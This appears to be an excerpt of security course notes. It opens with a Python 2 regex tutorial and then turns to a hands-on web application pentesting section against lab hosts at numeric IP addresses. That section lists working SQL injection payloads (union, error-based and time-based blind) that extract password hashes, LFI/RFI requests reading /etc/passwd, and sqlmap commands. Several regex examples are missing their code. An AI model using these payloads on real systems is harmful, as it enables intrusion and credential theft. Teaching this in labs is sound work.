  2291. Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
  2292.  
  2293. Operators Description
  2294. . Matches with any single character except newline ‘\n'.
  2295. ? match 0 or 1 occurrence of the pattern to its left
  2296. + 1 or more occurrences of the pattern to its left
  2297. * 0 or more occurrences of the pattern to its left
  2298. \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
  2299. \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
  2300. \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
  2301. \b boundary between word and non-word and /B is opposite of /b
  2302. [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
  2303. \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
  2304. ^ and $ ^ and $ match the start or end of the string respectively
  2305. {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
  2306. a| b Matches either a or b
  2307. ( ) Groups regular expressions and returns matched text
  2308. \t, \n, \r Matches tab, newline, return
  2309.  
  2310.  
  2311. For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
  2312.  
  2313. Now, let's understand the pattern operators by looking at the below examples.
  2314.  
  2315.  
  2316.  
  2317. ****************************************
  2318. * Some Examples of Regular Expressions *
  2319. ****************************************
  2320.  
  2321. ******************************************************
  2322. * Problem 1: Return the first word of a given string *
  2323. ******************************************************
  2324.  
  2325.  
  2326. Solution-1 Extract each character (using "\w")
  2327. ---------------------------------------------------------------------------
  2328.  
  2329. Code
  2330. ---------------------------Type This-----------------------------------
  2331.  
  2332. import re
  2333. result=re.findall(r'.','Python is the best scripting language')
  2334. print result
  2335. ----------------------------------------------------------------------
  2336.  
  2337. Output:
  2338. ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  2339.  
  2340.  
  2341. Above, space is also extracted, now to avoid it use "\w" instead of ".".
  2342.  
  2343.  
  2344. Code
  2345. ---------------------------Type This-----------------------------------
  2346.  
  2347. result=re.findall(r'\w','Python is the best scripting language')
  2348. print result
  2349. ----------------------------------------------------------------------
  2350.  
  2351. Output:
  2352. ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  2353.  
  2354.  
  2355.  
  2356.  
  2357. Solution-2 Extract each word (using "*" or "+")
  2358. ---------------------------------------------------------------------------
  2359.  
  2360. Code
  2361. ---------------------------Type This-----------------------------------
  2362.  
  2363. result=re.findall(r'\w*','Python is the best scripting language')
  2364. print result
  2365. ----------------------------------------------------------------------
  2366.  
  2367. Output:
  2368. ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
  2369.  
  2370.  
  2371. Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
  2372.  
  2373. Code
  2374. ---------------------------Type This-----------------------------------
  2375.  
  2376. result=re.findall(r'\w+','Python is the best scripting language')
  2377. print result
  2378. ----------------------------------------------------------------------
  2379.  
  2380. Output:
  2381. ['Python', 'is', 'the', 'best', 'scripting', 'language']
  2382.  
  2383.  
  2384.  
  2385.  
  2386. Solution-3 Extract each word (using "^")
  2387. -------------------------------------------------------------------------------------
  2388.  
  2389.  
  2390. Code
  2391. ---------------------------Type This-----------------------------------
  2392.  
  2393. result=re.findall(r'^\w+','Python is the best scripting language')
  2394. print result
  2395. ----------------------------------------------------------------------
  2396.  
  2397. Output:
  2398. ['Python']
  2399.  
  2400. If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
  2401.  
  2402. Code
  2403. ---------------------------Type This-----------------------------------
  2404.  
  2405. result=re.findall(r'\w+$','Python is the best scripting language')
  2406. print result
  2407. ----------------------------------------------------------------------
  2408.  
  2409. Output:
  2410. [‘language']
  2411.  
  2412.  
  2413.  
  2414.  
  2415.  
  2416. **********************************************************
  2417. * Problem 2: Return the first two character of each word *
  2418. **********************************************************
  2419.  
  2420.  
  2421.  
  2422.  
  2423. Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
  2424. ------------------------------------------------------------------------------------------------------
  2425.  
  2426. Code
  2427. ---------------------------Type This-----------------------------------
  2428.  
  2429. result=re.findall(r'\w\w','Python is the best')
  2430. print result
  2431. ----------------------------------------------------------------------
  2432.  
  2433. Output:
  2434. ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
  2435.  
  2436.  
  2437.  
  2438.  
  2439.  
  2440. Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
  2441. ------------------------------------------------------------------------------------------------------
  2442.  
  2443. Code
  2444. ---------------------------Type This-----------------------------------
  2445.  
  2446. result=re.findall(r'\b\w.','Python is the best')
  2447. print result
  2448. ----------------------------------------------------------------------
  2449.  
  2450. Output:
  2451. ['Py', 'is', 'th', 'be']
  2452.  
  2453.  
  2454.  
  2455.  
  2456.  
  2457.  
  2458. ********************************************************
  2459. * Problem 3: Return the domain type of given email-ids *
  2460. ********************************************************
  2461.  
  2462.  
  2463. To explain it in simple manner, I will again go with a stepwise approach:
  2464.  
  2465.  
  2466.  
  2467.  
  2468.  
  2469. Solution-1 Extract all characters after "@"
  2470. ------------------------------------------------------------------------------------------------------------------
  2471.  
  2472. Code
  2473. ---------------------------Type This-----------------------------------
  2474.  
  2475. print result
  2476. ----------------------------------------------------------------------
  2477.  
  2478. Output: ['@gmail', '@test', '@strategicsec', '@rest']
  2479.  
  2480.  
  2481.  
  2482. Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
  2483.  
  2484. ---------------------------Type This-----------------------------------
  2485.  
  2486. print result
  2487. ----------------------------------------------------------------------
  2488.  
  2489. Output:
  2490. ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
  2491.  
  2492.  
  2493.  
  2494.  
  2495.  
  2496.  
  2497. Solution – 2 Extract only domain name using "( )"
  2498. -----------------------------------------------------------------------------------------------------------------------
  2499.  
  2500.  
  2501. Code
  2502. ---------------------------Type This-----------------------------------
  2503.  
  2504. print result
  2505. ----------------------------------------------------------------------
  2506.  
  2507. Output:
  2508. ['com', 'com', 'com', 'biz']
  2509.  
  2510.  
  2511.  
  2512.  
  2513.  
  2514.  
  2515. ********************************************
  2516. * Problem 4: Return date from given string *
  2517. ********************************************
  2518.  
  2519.  
  2520. Here we will use "\d" to extract digit.
  2521.  
  2522.  
  2523. Solution:
  2524. ----------------------------------------------------------------------------------------------------------------------
  2525.  
  2526. Code
  2527. ---------------------------Type This-----------------------------------
  2528.  
  2529. result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  2530. print result
  2531. ----------------------------------------------------------------------
  2532.  
  2533. Output:
  2534. ['12-05-2007', '11-11-2016', '12-01-2009']
  2535.  
  2536. If you want to extract only year again parenthesis "( )" will help you.
  2537.  
  2538.  
  2539. Code
  2540.  
  2541. ---------------------------Type This-----------------------------------
  2542.  
  2543. result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  2544. print result
  2545. ----------------------------------------------------------------------
  2546.  
  2547. Output:
  2548. ['2007', '2016', '2009']
  2549.  
  2550.  
  2551.  
  2552.  
  2553.  
  2554. *******************************************************************
  2555. * Problem 5: Return all words of a string those starts with vowel *
  2556. *******************************************************************
  2557.  
  2558.  
  2559.  
  2560.  
  2561. Solution-1 Return each words
  2562. -----------------------------------------------------------------------------------------------------------------
  2563.  
  2564. Code
  2565. ---------------------------Type This-----------------------------------
  2566.  
  2567. result=re.findall(r'\w+','Python is the best')
  2568. print result
  2569. ----------------------------------------------------------------------
  2570.  
  2571. Output:
  2572. ['Python', 'is', 'the', 'best']
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578. Solution-2 Return words starts with alphabets (using [])
  2579. ------------------------------------------------------------------------------------------------------------------
  2580.  
  2581. Code
  2582. ---------------------------Type This-----------------------------------
  2583.  
  2584. result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
  2585. print result
  2586. ----------------------------------------------------------------------
  2587.  
  2588. Output:
  2589. ['ove', 'on']
  2590.  
  2591. Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
  2592.  
  2593.  
  2594.  
  2595.  
  2596.  
  2597. Solution- 3
  2598. ------------------------------------------------------------------------------------------------------------------
  2599.  
  2600. Code
  2601. ---------------------------Type This-----------------------------------
  2602.  
  2603. result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
  2604. print result
  2605. ----------------------------------------------------------------------
  2606.  
  2607. Output:
  2608. []
  2609.  
  2610. In similar ways, we can extract words those starts with constant using "^" within square bracket.
  2611.  
  2612.  
  2613. Code
  2614. ---------------------------Type This-----------------------------------
  2615.  
  2616. result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
  2617. print result
  2618. ----------------------------------------------------------------------
  2619.  
  2620. Output:
  2621. [' love', ' Python']
  2622.  
  2623. Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
  2624.  
  2625.  
  2626. Code
  2627. ---------------------------Type This-----------------------------------
  2628.  
  2629. result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
  2630. print result
  2631. ----------------------------------------------------------------------
  2632.  
  2633. Output:
  2634. ['love', 'Python']
  2635.  
  2636.  
  2637.  
  2638.  
  2639.  
  2640.  
  2641. *************************************************************************************************
  2642. * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
  2643. *************************************************************************************************
  2644.  
  2645.  
  2646. We have a list phone numbers in list "li" and here we will validate phone numbers using regular
  2647.  
  2648.  
  2649.  
  2650.  
  2651. Solution
  2652. -------------------------------------------------------------------------------------------------------------------------------------
  2653.  
  2654.  
  2655. Code
  2656. ---------------------------Type This-----------------------------------
  2657.  
  2658. import re
  2659. li=['9999999999','999999-999','99999x9999']
  2660. for val in li:
  2661. if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
  2662. print 'yes'
  2663. else:
  2664. print 'no'
  2665.  
  2666. ----------------------------------------------------------------------
  2667.  
  2668. Output:
  2669. yes
  2670. no
  2671. no
  2672.  
  2673.  
  2674.  
  2675.  
  2676.  
  2677. ******************************************************
  2678. * Problem 7: Split a string with multiple delimiters *
  2679. ******************************************************
  2680.  
  2681.  
  2682.  
  2683. Solution
  2684. ---------------------------------------------------------------------------------------------------------------------------
  2685.  
  2686.  
  2687. Code
  2688. ---------------------------Type This-----------------------------------
  2689.  
  2690. import re
  2691. line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
  2692. result= re.split(r'[;,\s]', line)
  2693. print result
  2694. ----------------------------------------------------------------------
  2695.  
  2696. Output:
  2697. ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
  2698.  
  2699.  
  2700.  
  2701. We can also use method re.sub() to replace these multiple delimiters with one as space " ".
  2702.  
  2703.  
  2704. Code
  2705. ---------------------------Type This-----------------------------------
  2706.  
  2707. import re
  2708. line = 'asdf fjdk;afed,fjek,asdf,foo'
  2709. result= re.sub(r'[;,\s]',' ', line)
  2710. print result
  2711. ----------------------------------------------------------------------
  2712.  
  2713. Output:
  2714. asdf fjdk afed fjek asdf foo
  2715.  
  2716.  
  2717.  
  2718.  
  2719. **************************************************
  2720. * Problem 8: Retrieve Information from HTML file *
  2721. **************************************************
  2722.  
  2723.  
  2724.  
  2725. I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
  2726.  
  2727.  
  2728.  
  2729. Create a file that contains the following data:
  2730. ---------------------------Paste This-----------------------------------
  2731.  
  2732. <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
  2733. <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
  2734. <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
  2735. <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
  2736. <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
  2737. <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
  2738. <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
  2739. ----------------------------------------------------------------------
  2740.  
  2741. Solution:
  2742.  
  2743.  
  2744.  
  2745. Code
  2746. ---------------------------Type This-----------------------------------
  2747.  
  2748. f=open('file.txt', "r")
  2749. import re
  2750. str = f.read()
  2751. result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
  2752. print result
  2753. ----------------------------------------------------------------------
  2754.  
  2755. Output:
  2756. [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
  2757.  
  2758.  
  2759.  
  2760. You can read html file using library urllib2 (see below code).
  2761.  
  2762.  
  2763. Code
  2764. ---------------------------Type This-----------------------------------
  2765.  
  2766. import urllib2
  2767. response = urllib2.urlopen('')
  2768. html = response.read()
  2769. ----------------------------------------------------------------------
  2770. NOTE: You can put any website URL that you want in the urllib2.urlopen('')
  2771.  
  2772.  
  2773.  
  2774.  
  2775. ##################################
  2776. # Day 2 Homework videos to watch #
  2777. ##################################
  2778. Here is your first set of youtube videos that I'd like for you to watch:
  2779. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
  2780.  
  2781.  
  2782.  
  2783.  
  2784.  
  2785.  
  2786.  
  2787.  
  2788. ###############################################################
  2789. ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
  2790. ###############################################################
  2791.  
  2792. ##################################
  2793. # Basic: Web Application Testing #
  2794. ##################################
  2795.  
  2796. Most people are going to tell you reference the OWASP Testing guide.
  2797. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  2798.  
  2799. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  2800.  
  2801.  
  2802. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  2803.  
  2804. 1. Does the website talk to a DB?
  2805. - Look for parameter passing (ex: site.com/page.php?id=4)
  2806. - If yes - try SQL Injection
  2807.  
  2808. 2. Can I or someone else see what I type?
  2809. - If yes - try XSS
  2810.  
  2811. 3. Does the page reference a file?
  2812. - If yes - try LFI/RFI
  2813.  
  2814. Let's start with some manual testing against 45.63.104.73
  2815.  
  2816.  
  2817. #######################
  2818. # Attacking PHP/MySQL #
  2819. #######################
  2820.  
  2821. Go to LAMP Target homepage
  2822. http://45.63.104.73/
  2823.  
  2824.  
  2825.  
  2826. Clicking on the Acer Link:
  2827. http://45.63.104.73/acre2.php?lap=acer
  2828.  
  2829. - Found parameter passing (answer yes to question 1)
  2830. - Insert ' to test for SQLI
  2831.  
  2832. ---------------------------Type This-----------------------------------
  2833.  
  2834. http://45.63.104.73/acre2.php?lap=acer'
  2835.  
  2836. -----------------------------------------------------------------------
  2837.  
  2838. Page returns the following error:
  2839. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  2840.  
  2841.  
  2842.  
  2843. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  2844. We do this using the ORDER BY
  2845.  
  2846. ---------------------------Type This-----------------------------------
  2847.  
  2848. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  2849. -----------------------------------------------------------------------
  2850.  
  2851. Page returns the following error:
  2852. Unknown column '100' in 'order clause'
  2853.  
  2854.  
  2855. ---------------------------Type This-----------------------------------
  2856.  
  2857. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  2858. -----------------------------------------------------------------------
  2859.  
  2860. Page returns the following error:
  2861. Unknown column '50' in 'order clause'
  2862.  
  2863.  
  2864. ---------------------------Type This-----------------------------------
  2865.  
  2866. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  2867. -----------------------------------------------------------------------
  2868.  
  2869. Page returns the following error:
  2870. Unknown column '25' in 'order clause'
  2871.  
  2872.  
  2873. ---------------------------Type This-----------------------------------
  2874.  
  2875. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  2876. -----------------------------------------------------------------------
  2877.  
  2878. Page returns the following error:
  2879. Unknown column '12' in 'order clause'
  2880.  
  2881.  
  2882. ---------------------------Type This-----------------------------------
  2883.  
  2884. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  2885. -----------------------------------------------------------------------
  2886.  
  2887. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  2888.  
  2889.  
  2890.  
  2891. Now we build out the union all select statement with the correct number of columns
  2892.  
  2893. Reference:
  2894. http://www.techonthenet.com/sql/union.php
  2895.  
  2896.  
  2897. ---------------------------Type This-----------------------------------
  2898.  
  2899. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  2900. -----------------------------------------------------------------------
  2901.  
  2902.  
  2903.  
  2904. Now we negate the parameter value 'acer' by turning into the word 'null':
  2905. ---------------------------Type This-----------------------------------
  2906.  
  2907. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  2908. -----------------------------------------------------------------------
  2909.  
  2910. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  2911.  
  2912.  
  2913. Use a cheat sheet for syntax:
  2914. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  2915.  
  2916. ---------------------------Type This-----------------------------------
  2917.  
  2918. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  2919.  
  2920. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  2921.  
  2922. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  2923.  
  2924. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  2925.  
  2926.  
  2927. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  2928.  
  2929. -----------------------------------------------------------------------
  2930.  
  2931.  
  2932. ########################
  2933. # Question I get a lot #
  2934. ########################
  2935. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  2936.  
  2937. Here is a good reference for it:
  2938. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  2939.  
  2940. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  2941.  
  2942.  
  2943.  
  2944.  
  2945. #########################
  2946. # File Handling Attacks #
  2947. #########################
  2948.  
  2949. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  2950.  
  2951. ---------------------------Type This-----------------------------------
  2952.  
  2953. http://45.63.104.73/showfile.php?filename=about.txt
  2954.  
  2955. -----------------------------------------------------------------------
  2956.  
  2957.  
  2958. See if you can read files on the file system:
  2959. ---------------------------Type This-----------------------------------
  2960.  
  2961. http://45.63.104.73/showfile.php?filename=/etc/passwd
  2962. -----------------------------------------------------------------------
  2963.  
  2964. We call this attack a Local File Include or LFI.
  2965.  
  2966. Now let's find some text out on the internet somewhere:
  2967. https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  2968.  
  2969.  
  2970. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  2971.  
  2972. ---------------------------Type This-----------------------------------
  2973.  
  2974. http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  2975. -----------------------------------------------------------------------
  2976.  
  2977. #########################################################################################
  2978. # SQL Injection #
  2979. # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
  2980. #########################################################################################
  2981.  
  2982.  
  2983. - Another quick way to test for SQLI is to remove the paramter value
  2984.  
  2985.  
  2986. #############################
  2987. # Error-Based SQL Injection #
  2988. #############################
  2989. ---------------------------Type This-----------------------------------
  2990.  
  2991. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  2992. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  2993. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  2994. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  2995. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  2996. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  2997. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  2998. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  2999. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  3000.  
  3001. -----------------------------------------------------------------------
  3002.  
  3003.  
  3004.  
  3005. #############################
  3006. # Union-Based SQL Injection #
  3007. #############################
  3008.  
  3009. ---------------------------Type This-----------------------------------
  3010.  
  3011. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  3012. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  3013. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  3014. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  3015. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  3016. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  3017. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  3018. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  3019. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  3020. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  3021. -----------------------------------------------------------------------
  3022.  
  3023. We are using a union select statement because we are joining the developer's query with one of our own.
  3024. Reference:
  3025. http://www.techonthenet.com/sql/union.php
  3026. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  3027. It removes duplicate rows between the various SELECT statements.
  3028.  
  3029. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  3030.  
  3031. ---------------------------Type This-----------------------------------
  3032.  
  3033. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  3034. -----------------------------------------------------------------------
  3035.  
  3036. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  3037.  
  3038. ---------------------------Type This-----------------------------------
  3039.  
  3040. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  3041. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  3042. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  3043. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  3044.  
  3045. -----------------------------------------------------------------------
  3046.  
  3047.  
  3048.  
  3049.  
  3050. - Another way is to see if you can get the backend to perform an arithmetic function
  3051.  
  3052. ---------------------------Type This-----------------------------------
  3053.  
  3054. http://45.77.162.239/bookdetail.aspx?id=(2)
  3055. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  3056. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  3057.  
  3058.  
  3059.  
  3060. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  3061. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  3062. http://45.77.162.239/bookdetail.aspx?id=1*1
  3063. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  3064. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  3065. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  3066. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  3067. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  3068.  
  3069.  
  3070.  
  3071. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  3072. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  3073. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  3074. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  3075.  
  3076. -----------------------------------------------------------------------
  3077.  
  3078.  
  3079. ###############################
  3080. # Blind SQL Injection Testing #
  3081. ###############################
  3082. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  3083.  
  3084. 3 - Total Characters
  3085. ---------------------------Type This-----------------------------------
  3086.  
  3087. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  3088. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  3089. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  3090. -----------------------------------------------------------------------
  3091.  
  3092. Let's go for a quick check to see if it's DBO
  3093.  
  3094. ---------------------------Type This-----------------------------------
  3095.  
  3096. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  3097. -----------------------------------------------------------------------
  3098.  
  3099. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  3100.  
  3101. ---------------------------Type This-----------------------------------
  3102.  
  3103. D - 1st Character
  3104. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  3105. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  3106. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  3107. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  3108.  
  3109. B - 2nd Character
  3110. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3111. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3112.  
  3113. O - 3rd Character
  3114. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3115. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  3116. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3117. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3118. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  3119. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  3120. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  3121.  
  3122. -----------------------------------------------------------------------
  3123.  
  3124.  
  3125.  
  3126.  
  3127. ##########
  3128. # Sqlmap #
  3129. ##########
  3130. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  3131.  
  3132. ---------------------------Type This-----------------------------------
  3133.  
  3134. cd /home/strategicsec/toolz/sqlmap-dev/
  3135. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  3136. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  3137. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  3138. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
